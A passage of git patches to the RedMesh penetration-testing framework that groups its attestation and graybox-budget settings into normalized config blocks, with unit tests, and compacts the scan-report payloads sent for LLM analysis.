self.cfg_attestation_enabled: + attestation_cfg = get_attestation_config(self) + if not attestation_cfg["ENABLED"]: self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() @@ -163,7 +165,7 @@ def _submit_redmesh_test_attestation( f"nodes={node_count}, score={vulnerability_score}, target={ip_obfuscated}, " f"cid={cid_obfuscated}, sender={node_eth_address}" ) - retries = max(int(getattr(self, "cfg_attestation_retries", 1) or 1), 1) + retries = max(int(attestation_cfg["RETRIES"] or 1), 1) tx_hash = run_bounded_retry( self, "submit_redmesh_test_attestation", @@ -221,7 +223,8 @@ def _submit_redmesh_test_attestation( def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, workers: dict): self.P(f"[ATTESTATION] Job-start attestation requested for job {job_id}") - if not self.cfg_attestation_enabled: + attestation_cfg = get_attestation_config(self) + if not attestation_cfg["ENABLED"]: self.P("[ATTESTATION] Attestation is disabled via config. Skipping.", color='y') return None tenant_private_key = self._attestation_get_tenant_private_key() @@ -248,7 +251,7 @@ def _submit_redmesh_job_start_attestation(self, job_id: str, job_specs: dict, wo f"nodes={node_count}, target={ip_obfuscated}, node_hashes={node_hashes}, " f"workers={worker_addrs}, sender={node_eth_address}" ) - retries = max(int(getattr(self, "cfg_attestation_retries", 1) or 1), 1) + retries = max(int(attestation_cfg["RETRIES"] or 1), 1) tx_hash = run_bounded_retry( self, "submit_redmesh_job_start_attestation", diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 221a1732..30e5a19a 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -162,7 +162,6 @@ }, "ARCHIVE_VERIFY_RETRIES": 3, "LLM_API_RETRIES": 2, - "ATTESTATION_RETRIES": 2, "NETWORK_CONCURRENCY_WARNING_THRESHOLD": 16, "GRAYBOX_AUTH_ATTEMPT_BUDGET": 10, "GRAYBOX_ROUTE_DISCOVERY_BUDGET": 100, @@ -190,9 +189,12 @@ "SCANNER_USER_AGENT": "", # HTTP User-Agent (empty = default requests UA) # RedMesh attestation submission - "ATTESTATION_PRIVATE_KEY": "", - "ATTESTATION_ENABLED": True, - "ATTESTATION_MIN_SECONDS_BETWEEN_SUBMITS": 86400, + "ATTESTATION": { + "ENABLED": True, + "PRIVATE_KEY": "", + "MIN_SECONDS_BETWEEN_SUBMITS": 86400, + "RETRIES": 2, + }, 'VALIDATION_RULES': { **BasePlugin.CONFIG['VALIDATION_RULES'], diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 808029e6..086235bb 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,4 +1,5 @@ from .config import ( + get_attestation_config, get_llm_agent_config, resolve_config_block, ) @@ -66,6 +67,7 @@ "TERMINAL_JOB_STATUSES", "can_transition_job_status", "coerce_scan_type", + "get_attestation_config", "get_llm_agent_config", "resolve_config_block", "announce_launch", diff --git a/extensions/business/cybersec/red_mesh/services/config.py b/extensions/business/cybersec/red_mesh/services/config.py index bcb5ee45..18ff27b8 100644 --- a/extensions/business/cybersec/red_mesh/services/config.py +++ b/extensions/business/cybersec/red_mesh/services/config.py @@ -30,6 +30,13 @@ def resolve_config_block(owner, block_name, defaults, normalizer=None): "AUTO_ANALYSIS_TYPE": "security_assessment", } +DEFAULT_ATTESTATION_CONFIG = { + "ENABLED": True, + "PRIVATE_KEY": "", + "MIN_SECONDS_BETWEEN_SUBMITS": 86400.0, + "RETRIES": 2, +} + def get_llm_agent_config(owner): """Return normalized LLM agent integration config.""" @@ -59,3 +66,40 @@ def _normalize(merged, defaults): DEFAULT_LLM_AGENT_CONFIG, normalizer=_normalize, ) + + +def get_attestation_config(owner): + """Return normalized attestation config.""" + def _normalize(merged, defaults): + enabled = bool(merged.get("ENABLED", defaults["ENABLED"])) + private_key = str(merged.get("PRIVATE_KEY") or defaults["PRIVATE_KEY"]) + + try: + min_seconds = float( + merged.get("MIN_SECONDS_BETWEEN_SUBMITS", defaults["MIN_SECONDS_BETWEEN_SUBMITS"]) + ) + except (TypeError, ValueError): + min_seconds = defaults["MIN_SECONDS_BETWEEN_SUBMITS"] + if min_seconds < 0: + min_seconds = defaults["MIN_SECONDS_BETWEEN_SUBMITS"] + + try: + retries = int(merged.get("RETRIES", defaults["RETRIES"])) + except (TypeError, ValueError): + retries = defaults["RETRIES"] + if retries < 0: + retries = defaults["RETRIES"] + + return { + "ENABLED": enabled, + "PRIVATE_KEY": private_key, + "MIN_SECONDS_BETWEEN_SUBMITS": min_seconds, + "RETRIES": retries, + } + + return resolve_config_block( + owner, + "ATTESTATION", + DEFAULT_ATTESTATION_CONFIG, + normalizer=_normalize, + ) diff --git a/extensions/business/cybersec/red_mesh/services/finalization.py b/extensions/business/cybersec/red_mesh/services/finalization.py index 68aaaa27..4a604475 100644 --- a/extensions/business/cybersec/red_mesh/services/finalization.py +++ b/extensions/business/cybersec/red_mesh/services/finalization.py @@ -14,6 +14,7 @@ ) from ..models import AggregatedScanData, PassReport, PassReportRef, WorkerReportMeta from ..repositories import ArtifactRepository, JobStateRepository +from .config import get_attestation_config from .config import get_llm_agent_config from .state_machine import is_intermediate_job_status, is_terminal_job_status, set_job_status @@ -143,7 +144,7 @@ def maybe_finalize_pass(owner): should_submit_attestation = True if run_mode == RUN_MODE_CONTINUOUS_MONITORING: last_attestation_at = job_specs.get("last_attestation_at") - min_interval = owner.cfg_attestation_min_seconds_between_submits + min_interval = get_attestation_config(owner)["MIN_SECONDS_BETWEEN_SUBMITS"] if last_attestation_at is not None and now_ts - last_attestation_at < min_interval: elapsed = round(now_ts - last_attestation_at) owner.P( diff --git a/extensions/business/cybersec/red_mesh/services/secrets.py b/extensions/business/cybersec/red_mesh/services/secrets.py index a6ce3f9f..c714d216 100644 --- a/extensions/business/cybersec/red_mesh/services/secrets.py +++ b/extensions/business/cybersec/red_mesh/services/secrets.py @@ -3,6 +3,7 @@ from ..models import JobConfig from ..repositories import ArtifactRepository +from .config import get_attestation_config def _artifact_repo(owner): @@ -30,7 +31,7 @@ def _get_secret_store_key(self) -> str: os.environ.get("REDMESH_SECRET_STORE_KEY", ""), getattr(self.owner, "cfg_redmesh_secret_store_key", ""), getattr(self.owner, "cfg_comms_host_key", ""), - getattr(self.owner, "cfg_attestation_private_key", ""), + get_attestation_config(self.owner)["PRIVATE_KEY"], ] for candidate in candidates: key = self._normalize_secret_key(candidate) diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index d910f9ae..c24e6fd9 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -353,7 +353,7 @@ def test_launch_webapp_scan_rejects_secret_persistence_without_store_key(self): plugin = self._build_mock_plugin(job_id="test-job-websecret-nokey") plugin.cfg_redmesh_secret_store_key = "" plugin.cfg_comms_host_key = "" - plugin.cfg_attestation_private_key = "" + plugin.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "", "MIN_SECONDS_BETWEEN_SUBMITS": 86400, "RETRIES": 2} result = self._launch_webapp( plugin, @@ -608,7 +608,7 @@ def _build_finalize_plugin(self, job_id="test-job", job_pass=1, run_mode="SINGLE plugin.cfg_llm_agent_api_port = 8080 plugin.cfg_monitor_interval = 60 plugin.cfg_monitor_jitter = 0 - plugin.cfg_attestation_min_seconds_between_submits = 300 + plugin.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "", "MIN_SECONDS_BETWEEN_SUBMITS": 300, "RETRIES": 2} plugin.time.return_value = 1000100.0 plugin.json_dumps.return_value = "{}" @@ -2233,7 +2233,7 @@ def test_get_job_config_resolves_legacy_plaintext_secret_ref_without_key(self): plugin = self._build_plugin({}) plugin.cfg_redmesh_secret_store_key = "" plugin.cfg_comms_host_key = "" - plugin.cfg_attestation_private_key = "" + plugin.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "", "MIN_SECONDS_BETWEEN_SUBMITS": 86400, "RETRIES": 2} plugin.r1fs.get_json.side_effect = [ { "scan_type": "webapp", diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index b03b5510..8935ecc1 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -33,8 +33,7 @@ class MockHost(_AttestationMixin): REDMESH_ATTESTATION_DOMAIN = "0x" + ("11" * 32) def __init__(self): - self.cfg_attestation_enabled = True - self.cfg_attestation_private_key = "0xprivate" + self.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "0xprivate", "RETRIES": 2} self.ee_addr = "0xlauncher" self.bc = MagicMock() self.bc.eth_address = "0xsender" @@ -67,9 +66,7 @@ class MockHost(_AttestationMixin): REDMESH_ATTESTATION_DOMAIN = "0x" + ("11" * 32) def __init__(self): - self.cfg_attestation_enabled = True - self.cfg_attestation_private_key = "0xprivate" - self.cfg_attestation_retries = 2 + self.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "0xprivate", "RETRIES": 2} self.ee_addr = "0xlauncher" self.bc = MagicMock() self.bc.eth_address = "0xsender" diff --git a/extensions/business/cybersec/red_mesh/tests/test_integration.py b/extensions/business/cybersec/red_mesh/tests/test_integration.py index 3ca75e3c..91f35c06 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_integration.py +++ b/extensions/business/cybersec/red_mesh/tests/test_integration.py @@ -1562,7 +1562,7 @@ def test_finalize_pass_attaches_pass_metrics(self): plugin.cfg_instance_id = "test-instance" plugin.ee_addr = "node-launcher" plugin.cfg_llm_agent = {"ENABLED": False} - plugin.cfg_attestation_min_seconds_between_submits = 3600 + plugin.cfg_attestation = {"ENABLED": True, "PRIVATE_KEY": "", "MIN_SECONDS_BETWEEN_SUBMITS": 3600, "RETRIES": 2} # Two workers, each with a report_cid workers = { diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py index bae103ca..24dad62f 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -2,6 +2,7 @@ from unittest.mock import MagicMock from extensions.business.cybersec.red_mesh.services.config import ( + get_attestation_config, get_llm_agent_config, resolve_config_block, ) @@ -102,6 +103,45 @@ def test_llm_agent_config_normalizes_invalid_values(self): self.assertEqual(config["TIMEOUT"], 120.0) self.assertEqual(config["AUTO_ANALYSIS_TYPE"], "security_assessment") + def test_attestation_config_uses_defaults(self): + owner = MagicMock() + owner.cfg_attestation = None + owner.CONFIG = {} + + config = get_attestation_config(owner) + + self.assertEqual(config["ENABLED"], True) + self.assertEqual(config["PRIVATE_KEY"], "") + self.assertEqual(config["MIN_SECONDS_BETWEEN_SUBMITS"], 86400.0) + self.assertEqual(config["RETRIES"], 2) + + def test_attestation_config_merges_partial_override(self): + owner = MagicMock() + owner.cfg_attestation = {"ENABLED": False, "RETRIES": 5} + + config = get_attestation_config(owner) + + self.assertEqual(config["ENABLED"], False) + self.assertEqual(config["PRIVATE_KEY"], "") + self.assertEqual(config["MIN_SECONDS_BETWEEN_SUBMITS"], 86400.0) + self.assertEqual(config["RETRIES"], 5) + + def test_attestation_config_normalizes_invalid_values(self): + owner = MagicMock() + owner.cfg_attestation = { + "ENABLED": True, + "PRIVATE_KEY": None, + "MIN_SECONDS_BETWEEN_SUBMITS": -1, + "RETRIES": "bad", + } + + config = get_attestation_config(owner) + + self.assertEqual(config["ENABLED"], True) + self.assertEqual(config["PRIVATE_KEY"], "") + self.assertEqual(config["MIN_SECONDS_BETWEEN_SUBMITS"], 86400.0) + self.assertEqual(config["RETRIES"], 2) + def test_reconciliation_config_uses_defaults(self): owner = MagicMock() owner.cfg_distributed_job_reconciliation = None From e50c073579e5a1ce250458aa62b3fb51aeee617d Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 12:16:04 +0000 Subject: [PATCH 108/114] refactor(redmesh): group graybox budgets config --- .../cybersec/red_mesh/pentester_api_01.py | 8 +++-- .../cybersec/red_mesh/services/__init__.py | 2 ++ .../cybersec/red_mesh/services/config.py | 32 +++++++++++++++++ .../cybersec/red_mesh/services/launch_api.py | 8 +++-- .../cybersec/red_mesh/tests/test_api.py | 16 +++++---- .../red_mesh/tests/test_reconciliation.py | 36 +++++++++++++++++++ 6 files changed, 90 insertions(+), 12 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/pentester_api_01.py b/extensions/business/cybersec/red_mesh/pentester_api_01.py index 30e5a19a..243903b2 100644 --- a/extensions/business/cybersec/red_mesh/pentester_api_01.py +++ b/extensions/business/cybersec/red_mesh/pentester_api_01.py @@ -163,9 +163,11 @@ "ARCHIVE_VERIFY_RETRIES": 3, "LLM_API_RETRIES": 2, "NETWORK_CONCURRENCY_WARNING_THRESHOLD": 16, - "GRAYBOX_AUTH_ATTEMPT_BUDGET": 10, - "GRAYBOX_ROUTE_DISCOVERY_BUDGET": 100, - "GRAYBOX_STATEFUL_ACTION_BUDGET": 1, + "GRAYBOX_BUDGETS": { + "AUTH_ATTEMPTS": 10, + "ROUTE_DISCOVERY": 100, + "STATEFUL_ACTIONS": 1, + }, "SCAN_TARGET_ALLOWLIST": [], # Dune sand walking - random delays between operations to evade IDS detection diff --git a/extensions/business/cybersec/red_mesh/services/__init__.py b/extensions/business/cybersec/red_mesh/services/__init__.py index 086235bb..29662998 100644 --- a/extensions/business/cybersec/red_mesh/services/__init__.py +++ b/extensions/business/cybersec/red_mesh/services/__init__.py @@ -1,5 +1,6 @@ from .config import ( get_attestation_config, + get_graybox_budgets_config, get_llm_agent_config, resolve_config_block, ) @@ -68,6 +69,7 @@ "can_transition_job_status", "coerce_scan_type", "get_attestation_config", + "get_graybox_budgets_config", "get_llm_agent_config", "resolve_config_block", "announce_launch", diff --git a/extensions/business/cybersec/red_mesh/services/config.py b/extensions/business/cybersec/red_mesh/services/config.py index 18ff27b8..4880bb39 100644 --- a/extensions/business/cybersec/red_mesh/services/config.py +++ b/extensions/business/cybersec/red_mesh/services/config.py @@ -37,6 +37,12 @@ def resolve_config_block(owner, block_name, defaults, normalizer=None): "RETRIES": 2, } +DEFAULT_GRAYBOX_BUDGETS_CONFIG = { + "AUTH_ATTEMPTS": 10, + "ROUTE_DISCOVERY": 100, + "STATEFUL_ACTIONS": 1, +} + def get_llm_agent_config(owner): """Return normalized LLM agent integration config.""" @@ -103,3 +109,29 @@ def _normalize(merged, defaults): DEFAULT_ATTESTATION_CONFIG, normalizer=_normalize, ) + + +def get_graybox_budgets_config(owner): + """Return normalized graybox execution budgets.""" + def _normalize(merged, defaults): + def _bounded_int(key, minimum, default): + try: + value = int(merged.get(key, default)) + except (TypeError, ValueError): + value = default + if value < minimum: + return default + return value + + return { + "AUTH_ATTEMPTS": _bounded_int("AUTH_ATTEMPTS", 1, defaults["AUTH_ATTEMPTS"]), + "ROUTE_DISCOVERY": _bounded_int("ROUTE_DISCOVERY", 1, defaults["ROUTE_DISCOVERY"]), + "STATEFUL_ACTIONS": _bounded_int("STATEFUL_ACTIONS", 0, defaults["STATEFUL_ACTIONS"]), + } + + return resolve_config_block( + owner, + "GRAYBOX_BUDGETS", + DEFAULT_GRAYBOX_BUDGETS_CONFIG, + normalizer=_normalize, + ) diff --git a/extensions/business/cybersec/red_mesh/services/launch_api.py b/extensions/business/cybersec/red_mesh/services/launch_api.py index 33163c39..fa129e2e 100644 --- a/extensions/business/cybersec/red_mesh/services/launch_api.py +++ b/extensions/business/cybersec/red_mesh/services/launch_api.py @@ -15,6 +15,7 @@ ) from ..models import CStoreJobRunning, JobConfig from ..repositories import JobStateRepository +from .config import get_graybox_budgets_config from .secrets import persist_job_config_with_secrets @@ -184,9 +185,10 @@ def _apply_launch_safety_policy( policy["warnings"] = warnings return max_weak_attempts, target_config_dict, allow_stateful_probes, policy - auth_budget = max(int(getattr(owner, "cfg_graybox_auth_attempt_budget", 10) or 10), 1) - discovery_budget = max(int(getattr(owner, "cfg_graybox_route_discovery_budget", 100) or 100), 1) - stateful_budget = max(int(getattr(owner, "cfg_graybox_stateful_action_budget", 1) or 0), 0) + graybox_budgets = get_graybox_budgets_config(owner) + auth_budget = graybox_budgets["AUTH_ATTEMPTS"] + discovery_budget = graybox_budgets["ROUTE_DISCOVERY"] + stateful_budget = graybox_budgets["STATEFUL_ACTIONS"] requested_attempts = max(int(max_weak_attempts or 0), 0) effective_attempts = min(requested_attempts, auth_budget) diff --git a/extensions/business/cybersec/red_mesh/tests/test_api.py b/extensions/business/cybersec/red_mesh/tests/test_api.py index c24e6fd9..39b750c8 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_api.py +++ b/extensions/business/cybersec/red_mesh/tests/test_api.py @@ -110,9 +110,11 @@ def _build_mock_plugin(cls, job_id="test-job", time_val=1000000.0, r1fs_cid="QmF plugin.cfg_nr_local_workers = 2 plugin.cfg_scan_target_allowlist = [] plugin.cfg_network_concurrency_warning_threshold = 16 - plugin.cfg_graybox_auth_attempt_budget = 10 - plugin.cfg_graybox_route_discovery_budget = 100 - plugin.cfg_graybox_stateful_action_budget = 1 + plugin.cfg_graybox_budgets = { + "AUTH_ATTEMPTS": 10, + "ROUTE_DISCOVERY": 100, + "STATEFUL_ACTIONS": 1, + } plugin.cfg_llm_agent = {"ENABLED": False} plugin.cfg_ics_safe_mode = False plugin.cfg_scan_min_rnd_delay = 0 @@ -431,9 +433,11 @@ def test_launch_webapp_scan_persists_authorization_context(self): def test_launch_webapp_scan_applies_safety_policy_caps(self): """Graybox launch policy caps weak-auth and discovery budgets and records warnings.""" plugin = self._build_mock_plugin(job_id="test-job-policy") - plugin.cfg_graybox_auth_attempt_budget = 3 - plugin.cfg_graybox_route_discovery_budget = 20 - plugin.cfg_graybox_stateful_action_budget = 0 + plugin.cfg_graybox_budgets = { + "AUTH_ATTEMPTS": 3, + "ROUTE_DISCOVERY": 20, + "STATEFUL_ACTIONS": 0, + } self._launch_webapp( plugin, diff --git a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py index 24dad62f..581b5564 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py +++ b/extensions/business/cybersec/red_mesh/tests/test_reconciliation.py @@ -3,6 +3,7 @@ from extensions.business.cybersec.red_mesh.services.config import ( get_attestation_config, + get_graybox_budgets_config, get_llm_agent_config, resolve_config_block, ) @@ -142,6 +143,41 @@ def test_attestation_config_normalizes_invalid_values(self): self.assertEqual(config["MIN_SECONDS_BETWEEN_SUBMITS"], 86400.0) self.assertEqual(config["RETRIES"], 2) + def test_graybox_budgets_config_uses_defaults(self): + owner = MagicMock() + owner.cfg_graybox_budgets = None + owner.CONFIG = {} + + config = get_graybox_budgets_config(owner) + + self.assertEqual(config["AUTH_ATTEMPTS"], 10) + self.assertEqual(config["ROUTE_DISCOVERY"], 100) + self.assertEqual(config["STATEFUL_ACTIONS"], 1) + + def test_graybox_budgets_config_merges_partial_override(self): + owner = MagicMock() + owner.cfg_graybox_budgets = {"AUTH_ATTEMPTS": 3, "STATEFUL_ACTIONS": 0} + + config = get_graybox_budgets_config(owner) + + self.assertEqual(config["AUTH_ATTEMPTS"], 3) + self.assertEqual(config["ROUTE_DISCOVERY"], 100) + self.assertEqual(config["STATEFUL_ACTIONS"], 0) + + def test_graybox_budgets_config_normalizes_invalid_values(self): + owner = MagicMock() + owner.cfg_graybox_budgets = { + "AUTH_ATTEMPTS": 0, + "ROUTE_DISCOVERY": -1, + "STATEFUL_ACTIONS": "bad", + } + + config = get_graybox_budgets_config(owner) + + self.assertEqual(config["AUTH_ATTEMPTS"], 10) + self.assertEqual(config["ROUTE_DISCOVERY"], 100) + self.assertEqual(config["STATEFUL_ACTIONS"], 1) + def test_reconciliation_config_uses_defaults(self): owner = MagicMock() owner.cfg_distributed_job_reconciliation = None From 6bc593d454837b8c0b5e772afca02fb41ec9a6f8 Mon Sep 17 00:00:00 2001 From: toderian Date: Mon, 16 Mar 2026 16:33:15 +0000 Subject: [PATCH 109/114] feat(redmesh): shape llm analysis payloads --- .../cybersec/red_mesh/mixins/llm_agent.py | 219 ++++++++++++++---- .../cybersec/red_mesh/tests/test_hardening.py | 91 ++++++++ 2 files changed, 270 insertions(+), 40 deletions(-) diff --git a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py index 60903f08..3391cf0d 100644 --- a/extensions/business/cybersec/red_mesh/mixins/llm_agent.py +++ b/extensions/business/cybersec/red_mesh/mixins/llm_agent.py @@ -18,6 +18,10 @@ class PentesterApi01Plugin(_LlmAgentMixin, BasePlugin): _NON_RETRYABLE_HTTP_STATUSES = {400, 401, 403, 404, 409, 410, 413, 422} _NON_RETRYABLE_PROVIDER_STATUSES = _NON_RETRYABLE_HTTP_STATUSES +_LLM_EVIDENCE_MAX_CHARS = 240 +_LLM_BANNER_MAX_CHARS = 120 +_LLM_SERVICE_LIMIT = 40 +_LLM_TOP_FINDINGS_LIMIT = 80 class _RedMeshLlmAgentMixin(object): @@ -43,6 +47,167 @@ def __init__(self, **kwargs): def _get_llm_agent_config(self) -> dict: return get_llm_agent_config(self) + @staticmethod + def _llm_trim_text(value, max_chars): + if value is None: + return "" + text = str(value).strip() + if len(text) <= max_chars: + return text + return text[: max_chars - 3].rstrip() + "..." + + def _extract_report_findings(self, report: dict) -> list[dict]: + findings = [] + if not isinstance(report, dict): + return findings + + direct = report.get("findings") + if isinstance(direct, list): + findings.extend(item for item in direct if isinstance(item, dict)) + + correlation = report.get("correlation_findings") + if isinstance(correlation, list): + findings.extend(item for item in correlation if isinstance(item, dict)) + + service_info = report.get("service_info") + if isinstance(service_info, dict): + for service_entry in service_info.values(): + if not isinstance(service_entry, dict): + continue + nested = service_entry.get("findings") + if isinstance(nested, list): + findings.extend(item for item in nested if isinstance(item, dict)) + + web_tests = report.get("web_tests_info") + if isinstance(web_tests, dict): + for web_entry in web_tests.values(): + if not isinstance(web_entry, dict): + continue + nested = web_entry.get("findings") + if isinstance(nested, list): + findings.extend(item for item in nested if isinstance(item, dict)) + + return findings + + def _build_llm_metadata(self, job_id: str, target: str, scan_type: str, job_config: dict) -> dict: + metadata = { + "job_id": job_id, + "target": target, + "scan_type": scan_type, + "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), + } + if scan_type == "webapp": + metadata["target_url"] = job_config.get("target_url") + metadata["excluded_features"] = list(job_config.get("excluded_features", []) or []) + metadata["app_routes_count"] = len(job_config.get("app_routes", []) or []) + else: + metadata["start_port"] = job_config.get("start_port") + metadata["end_port"] = job_config.get("end_port") + metadata["enabled_features_count"] = len(job_config.get("enabled_features", []) or []) + return metadata + + def _build_network_service_summary(self, aggregated_report: dict) -> list[dict]: + services = [] + service_info = aggregated_report.get("service_info") + if not isinstance(service_info, dict): + return services + + for raw_port, raw_entry in sorted(service_info.items(), key=lambda item: int(item[0]) if str(item[0]).isdigit() else str(item[0])): + if not isinstance(raw_entry, dict): + continue + entry = { + "port": raw_entry.get("port", raw_port), + "protocol": raw_entry.get("protocol"), + "service": raw_entry.get("service"), + "product": raw_entry.get("product") or raw_entry.get("server") or raw_entry.get("ssh_library"), + "version": raw_entry.get("version") or raw_entry.get("ssh_version"), + "banner": self._llm_trim_text(raw_entry.get("banner") or raw_entry.get("server") or "", _LLM_BANNER_MAX_CHARS), + "finding_count": len(raw_entry.get("findings") or []), + } + if raw_entry.get("findings"): + entry["top_titles"] = [ + self._llm_trim_text(finding.get("title", ""), 100) + for finding in raw_entry.get("findings", [])[:3] + if isinstance(finding, dict) and finding.get("title") + ] + services.append(entry) + if len(services) >= _LLM_SERVICE_LIMIT: + break + return services + + def _build_llm_top_findings(self, aggregated_report: dict) -> list[dict]: + findings = self._extract_report_findings(aggregated_report) + compact = [] + for finding in findings[:_LLM_TOP_FINDINGS_LIMIT]: + compact.append({ + "severity": finding.get("severity"), + "title": self._llm_trim_text(finding.get("title", ""), 160), + "port": finding.get("port"), + "protocol": finding.get("protocol"), + "probe": finding.get("probe"), + "cve": finding.get("cve_id") or finding.get("cve"), + "cwe": finding.get("cwe_id"), + "owasp": finding.get("owasp_id"), + "evidence": self._llm_trim_text(finding.get("evidence", ""), _LLM_EVIDENCE_MAX_CHARS), + }) + return compact + + def _build_llm_findings_summary(self, aggregated_report: dict) -> dict: + findings = self._extract_report_findings(aggregated_report) + counts = {} + for finding in findings: + severity = str(finding.get("severity") or "UNKNOWN").upper() + counts[severity] = counts.get(severity, 0) + 1 + return { + "total_findings": len(findings), + "by_severity": counts, + } + + def _build_llm_coverage_summary(self, aggregated_report: dict) -> dict: + open_ports = aggregated_report.get("open_ports") or [] + worker_activity = aggregated_report.get("worker_activity") or [] + return { + "ports_scanned": aggregated_report.get("ports_scanned"), + "open_ports_count": len(open_ports), + "open_ports_sample": list(open_ports[:40]), + "workers": [ + { + "id": worker.get("id"), + "start_port": worker.get("start_port"), + "end_port": worker.get("end_port"), + "open_ports_count": len(worker.get("open_ports") or []), + } + for worker in worker_activity + if isinstance(worker, dict) + ], + } + + def _build_llm_analysis_payload(self, job_id: str, aggregated_report: dict, job_config: dict, analysis_type: str) -> dict: + scan_type = job_config.get("scan_type", "network") + target = job_config.get("target_url") if scan_type == "webapp" else job_config.get("target", "unknown") + if scan_type != "webapp": + return { + "metadata": self._build_llm_metadata(job_id, target, scan_type, job_config), + "stats": { + "nr_open_ports": aggregated_report.get("nr_open_ports"), + "ports_scanned": aggregated_report.get("ports_scanned"), + "scan_metrics": aggregated_report.get("scan_metrics"), + "analysis_type": analysis_type, + }, + "services": self._build_network_service_summary(aggregated_report), + "top_findings": self._build_llm_top_findings(aggregated_report), + "coverage": self._build_llm_coverage_summary(aggregated_report), + "truncation": { + "service_limit": _LLM_SERVICE_LIMIT, + "finding_limit": _LLM_TOP_FINDINGS_LIMIT, + }, + "findings_summary": self._build_llm_findings_summary(aggregated_report), + } + + report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} + report_with_meta["_job_metadata"] = self._build_llm_metadata(job_id, target, scan_type, job_config) + return report_with_meta + def _maybe_resolve_llm_agent_from_semaphore(self): """ If SEMAPHORED_KEYS is configured and LLM Agent is enabled, @@ -247,7 +412,7 @@ def _is_success(response_data): return result def _auto_analyze_report( - self, job_id: str, report: dict, target: str, scan_type: str = "network", + self, job_id: str, report: dict, target: str, scan_type: str = "network", analysis_type: str = None, ) -> Optional[dict]: """ Automatically analyze a completed scan report using LLM Agent API. @@ -280,7 +445,7 @@ def _auto_analyze_report( method="POST", payload={ "scan_results": report, - "analysis_type": llm_cfg["AUTO_ANALYSIS_TYPE"], + "analysis_type": analysis_type or llm_cfg["AUTO_ANALYSIS_TYPE"], "scan_type": scan_type, "focus_areas": None, } @@ -367,25 +532,12 @@ def _run_aggregated_llm_analysis( self.P(f"No data to analyze for job {job_id}", color='y') return None - # Add job metadata to report for context (strip node_ip — never send to LLM) - report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - - # Build scan-type-aware metadata - metadata = { - "job_id": job_id, - "target": target, - "scan_type": scan_type, - "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), - } - if scan_type == "webapp": - metadata["target_url"] = job_config.get("target_url") - metadata["app_routes"] = job_config.get("app_routes", []) - metadata["excluded_features"] = job_config.get("excluded_features", []) - else: - metadata["start_port"] = job_config.get("start_port") - metadata["end_port"] = job_config.get("end_port") - metadata["enabled_features"] = job_config.get("enabled_features", []) - report_with_meta["_job_metadata"] = metadata + report_with_meta = self._build_llm_analysis_payload( + job_id, + aggregated_report, + job_config, + self._get_llm_agent_config()["AUTO_ANALYSIS_TYPE"], + ) # Call LLM analysis llm_analysis = self._auto_analyze_report(job_id, report_with_meta, target, scan_type=scan_type) @@ -437,25 +589,12 @@ def _run_quick_summary_analysis( self.P(f"No data for quick summary for job {job_id}", color='y') return None - # Add job metadata to report for context (strip node_ip — never send to LLM) - report_with_meta = {k: v for k, v in aggregated_report.items() if k != "node_ip"} - - # Build scan-type-aware metadata - metadata = { - "job_id": job_id, - "target": target, - "scan_type": scan_type, - "run_mode": job_config.get("run_mode", RUN_MODE_SINGLEPASS), - } - if scan_type == "webapp": - metadata["target_url"] = job_config.get("target_url") - metadata["app_routes"] = job_config.get("app_routes", []) - metadata["excluded_features"] = job_config.get("excluded_features", []) - else: - metadata["start_port"] = job_config.get("start_port") - metadata["end_port"] = job_config.get("end_port") - metadata["enabled_features"] = job_config.get("enabled_features", []) - report_with_meta["_job_metadata"] = metadata + report_with_meta = self._build_llm_analysis_payload( + job_id, + aggregated_report, + job_config, + "quick_summary", + ) # Call LLM analysis with quick_summary type analysis_result = self._call_llm_agent_api( diff --git a/extensions/business/cybersec/red_mesh/tests/test_hardening.py b/extensions/business/cybersec/red_mesh/tests/test_hardening.py index 8935ecc1..b327d1ed 100644 --- a/extensions/business/cybersec/red_mesh/tests/test_hardening.py +++ b/extensions/business/cybersec/red_mesh/tests/test_hardening.py @@ -91,6 +91,97 @@ def P(self, *_args, **_kwargs): class TestLlmRetryHardening(unittest.TestCase): + def test_build_llm_analysis_payload_network_is_compact_and_structured(self): + from extensions.business.cybersec.red_mesh.mixins.llm_agent import _RedMeshLlmAgentMixin + + class MockHost(_RedMeshLlmAgentMixin): + def __init__(self): + 